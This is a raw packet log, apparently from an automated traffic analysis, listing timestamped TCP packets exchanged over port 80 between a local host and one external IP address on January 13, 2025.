Jan 13, 2025 13:55:05.430104971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.430113077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.430155993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.434032917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444169998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444185019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444214106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444232941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444242954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444257021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444282055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444295883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444313049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444323063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444330931 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444343090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444371939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444453955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444468975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444483042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444506884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444519997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444529057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444540024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444580078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444586992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444617033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444629908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444662094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444912910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444942951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444952965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.444962025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444993019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.444998980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445014000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445034027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445055008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445096016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445113897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445135117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445141077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445177078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445180893 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445207119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445235014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445250988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445256948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445278883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445298910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445364952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445405006 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445453882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445472002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445494890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445509911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445514917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445535898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445554018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445564032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445593119 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445782900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445801973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445825100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445842028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445852995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445867062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445892096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445908070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445916891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445935011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445935965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445957899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445972919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.445979118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.445998907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446018934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.446115971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446156025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.446208954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446235895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446255922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446273088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446279049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.446296930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446310043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.446324110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446341991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446363926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446363926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.446386099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446398973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446400881 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.446424961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446439981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.446445942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446460962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446485996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446491003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.446507931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446523905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.446527004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446552992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.446572065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449208975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449223995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449258089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449259043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449270964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449295998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449382067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449409962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449429989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449431896 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449450016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449469090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449470043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449489117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449510098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449510098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449533939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449556112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449557066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449577093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449599028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449599981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449616909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449640036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449778080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449796915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449821949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449826956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449845076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449867964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449870110 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449889898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449909925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449919939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.449942112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.449965000 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.486463070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486502886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486571074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486574888 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.486640930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486687899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486696005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.486737013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486782074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486799955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.486830950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486876011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486886024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.486923933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486963987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.486977100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.487016916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.487061977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.487067938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.487107992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.487154007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.487155914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.502007008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.502038956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.502072096 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.502120018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.502167940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.502178907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.502213955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.502259970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.502264023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.502309084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.502357960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.502357960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.502399921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.502450943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.526565075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.526612997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.526659966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.526681900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.526706934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.526752949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.526757956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.526801109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.526846886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.526849985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.531433105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531480074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531497955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.531527042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531573057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531582117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.531620026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531663895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531682968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.531713009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531759024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531764030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.531807899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531852007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531860113 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.531898975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.531946898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.531960011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532007933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532052994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532054901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532099962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532145977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532150984 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532193899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532248020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532254934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532303095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532347918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532349110 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532393932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532442093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532474995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532527924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532572031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532572985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532618046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532666922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532677889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532741070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532785892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532792091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532831907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532876968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532888889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532938957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.532982111 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.532984972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533032894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533077002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533081055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533126116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533170938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533170938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533217907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533263922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533266068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533310890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533354998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533359051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533401966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533446074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533447981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533494949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533539057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533540010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533586025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533632040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533633947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533679008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533723116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533723116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533785105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533830881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533832073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533881903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533926964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.533931017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.533973932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534022093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.534022093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534070969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534116983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534118891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.534163952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534209013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534214020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.534259081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534302950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534307957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.534349918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534394979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534398079 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.534444094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534492016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.534492016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534543037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.534590960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.547218084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547352076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547401905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547408104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.547451973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547497988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.547497988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547548056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547597885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.547610998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547657967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547703028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547723055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.547750950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547794104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.547796965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547842979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547885895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547890902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.547935963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547980070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.547980070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.548027992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.548073053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.548075914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.548120975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.548166037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.548167944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.561631918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.573821068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.573875904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.573882103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.573924065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.573971033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574003935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.574028015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574074030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574080944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.574121952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574168921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574172974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.574217081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574259043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.574260950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574307919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574351072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.574352026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574398994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.574444056 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.574445009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.590369940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.590425014 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:55:05.590434074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.590481997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.590526104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:55:05.590549946 CET	49711	80	192.168.2.6	193.143.1.205
